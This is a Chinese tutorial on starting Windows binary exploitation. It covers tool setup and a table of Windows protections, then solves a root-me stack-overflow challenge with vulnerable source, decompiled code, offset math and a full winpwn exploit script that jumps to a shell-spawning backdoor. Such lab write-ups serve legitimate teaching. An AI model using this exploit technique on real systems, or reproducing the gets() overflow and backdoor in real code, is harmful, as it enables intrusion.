win pwn初探(一)
字数 1394 2025-08-26 22:11:51

Windows Pwn 初探(一)教学文档

环境搭建

硬件与系统环境

  • 本机环境:M1 Pro芯片
  • 虚拟机环境:Parallels Desktop 17 + Windows 11专业版(21H2)
  • 兼容性:ARM Windows可运行x32和x64程序

必要工具安装

1. Checksec工具

  • 问题:winchecksec安装存在环境问题
  • 解决方案:使用替代项目checksec.exe
  • 获取方式:从GitHub Releases下载可执行文件

2. WinPwn工具

  • 功能:类似Linux下的pwntools
  • 安装命令
    pip3 install winpwn
    pip3 install pefile
    pip3 install keystone-engine
    pip3 install capstone
    
  • 使用from winpwn import *

3. 调试工具

  • 推荐工具:Windbg(可通过Microsoft Store安装)
  • 替代工具:Ollydbg、x32dbg、x64dbg

Windows保护机制详解

通过测试程序分析保护机制(使用VS2022 Preview默认编译x64 exe):

#include <stdio.h>
int main(int argc, char** argv) {
    printf("hello world");
    return 0;
}

使用.\checksec.exe检测结果:

保护名称 Windows对应机制 描述
NX DEP(数据执行保护) 堆栈不可执行保护
Canary GS 栈保护(检测可能不准确)
ASLR 地址空间布局随机化 随机化exe和dll地址,催生Heap Spray技术
Dynamic Base /DYNAMICBASE编译选项 控制是否启用ASLR
High Entropy VA 高熵地址空间 64位进程使用更大的地址空间随机化
SEH 结构化异常处理 Windows系统级错误处理机制
SafeSEH 安全SEH 验证异常处理函数有效性
Force Integrity 强制签名 要求代码签名
Control Flow Guard CFG 限制代码执行来源,防内存破坏
Isolation 隔离保护 默认启用
Authenticode 数字签名 验证代码来源可信度

初探栈溢出实战

示例程序分析

  • 来源:root-me PE32 - Stack buffer overflow basic
  • 源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <ctype.h>

#define DEFAULT_LEN 16

void admin_shell(void) {
    system("C:\\Windows\\system32\\cmd.exe");
}

int main(void) {
    char buff[DEFAULT_LEN] = {0};
    gets(buff);
    for (int i = 0; i < DEFAULT_LEN; i++) {
        buff[i] = toupper(buff[i]);
    }
    printf("%s\n", buff);
}

IDA逆向分析

int __cdecl main(int argc, const char **argv, const char **envp) {
  char buf[15]; // [esp+0h] [ebp-14h] BYREF
  char v5; // [esp+Fh] [ebp-5h]
  int i; // [esp+10h] [ebp-4h]
  
  memset(buf, 0, sizeof(buf));
  v5 = 0;
  gets(buf); // 漏洞点
  for ( i = 0; i < 16; ++i )
    buf[i] = toupper(buf[i]);
  printf("%s\n", buf);
  return 0;
}

漏洞利用

  1. 后门函数地址:0x401000
  2. 偏移计算:ebp-14h → 0x14字节
  3. payload构造
    • 填充:0x14字节 + 4字节(覆盖返回地址)
    • 目标地址:0x401000

完整EXP

from winpwn import *
from time import *

context.log_level='debug'
context.arch='i386'

file_name = './ch72.exe'

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

payload  = 'a' * (0x14 + 4)
payload += p32(0x401000)
r.sendline(payload)
sleep(1)
r.sendline('calc') # 触发计算器

r.interactive()

关键知识点总结

  1. 环境差异:Windows Pwn工具链与Linux不同,需要专门工具
  2. 保护机制:Windows的保护机制比Linux更多且复杂
  3. 调试选择:Windbg是Windows漏洞分析的主流工具
  4. 基础利用:栈溢出原理与Linux类似,但实现细节不同
  5. 后续学习
    • Windows调试技术
    • 各种保护机制的绕过方法
    • 使用pwntools编写Windows exploit

参考资源

  1. Windows安全机制详解
  2. ASLR与Heap Spray技术

注:本文档已过滤无关描述,保留所有技术关键点,可作为Windows Pwn入门教学的完整参考。

Windows Pwn 初探(一)教学文档 环境搭建 硬件与系统环境 本机环境 :M1 Pro芯片 虚拟机环境 :Parallels Desktop 17 + Windows 11专业版(21H2) 兼容性 :ARM Windows可运行x32和x64程序 必要工具安装 1. Checksec工具 问题 :winchecksec安装存在环境问题 解决方案 :使用替代项目 checksec.exe 获取方式 :从GitHub Releases下载可执行文件 2. WinPwn工具 功能 :类似Linux下的pwntools 安装命令 : 使用 : from winpwn import * 3. 调试工具 推荐工具 :Windbg(可通过Microsoft Store安装) 替代工具 :Ollydbg、x32dbg、x64dbg Windows保护机制详解 通过测试程序分析保护机制(使用VS2022 Preview默认编译x64 exe): 使用 .\checksec.exe 检测结果: | 保护名称 | Windows对应机制 | 描述 | |---------|----------------|------| | NX | DEP(数据执行保护) | 堆栈不可执行保护 | | Canary | GS | 栈保护(检测可能不准确) | | ASLR | 地址空间布局随机化 | 随机化exe和dll地址,催生Heap Spray技术 | | Dynamic Base | /DYNAMICBASE编译选项 | 控制是否启用ASLR | | High Entropy VA | 高熵地址空间 | 64位进程使用更大的地址空间随机化 | | SEH | 结构化异常处理 | Windows系统级错误处理机制 | | SafeSEH | 安全SEH | 验证异常处理函数有效性 | | Force Integrity | 强制签名 | 要求代码签名 | | Control Flow Guard | CFG | 限制代码执行来源,防内存破坏 | | Isolation | 隔离保护 | 默认启用 | | Authenticode | 数字签名 | 验证代码来源可信度 | 初探栈溢出实战 示例程序分析 来源 :root-me PE32 - Stack buffer overflow basic 源码 : IDA逆向分析 漏洞利用 后门函数地址 :0x401000 偏移计算 :ebp-14h → 0x14字节 payload构造 : 填充:0x14字节 + 4字节(覆盖返回地址) 目标地址:0x401000 完整EXP 关键知识点总结 环境差异 :Windows Pwn工具链与Linux不同,需要专门工具 保护机制 :Windows的保护机制比Linux更多且复杂 调试选择 :Windbg是Windows漏洞分析的主流工具 基础利用 :栈溢出原理与Linux类似,但实现细节不同 后续学习 : Windows调试技术 各种保护机制的绕过方法 使用pwntools编写Windows exploit 参考资源 Windows安全机制详解 ASLR与Heap Spray技术 注:本文档已过滤无关描述,保留所有技术关键点,可作为Windows Pwn入门教学的完整参考。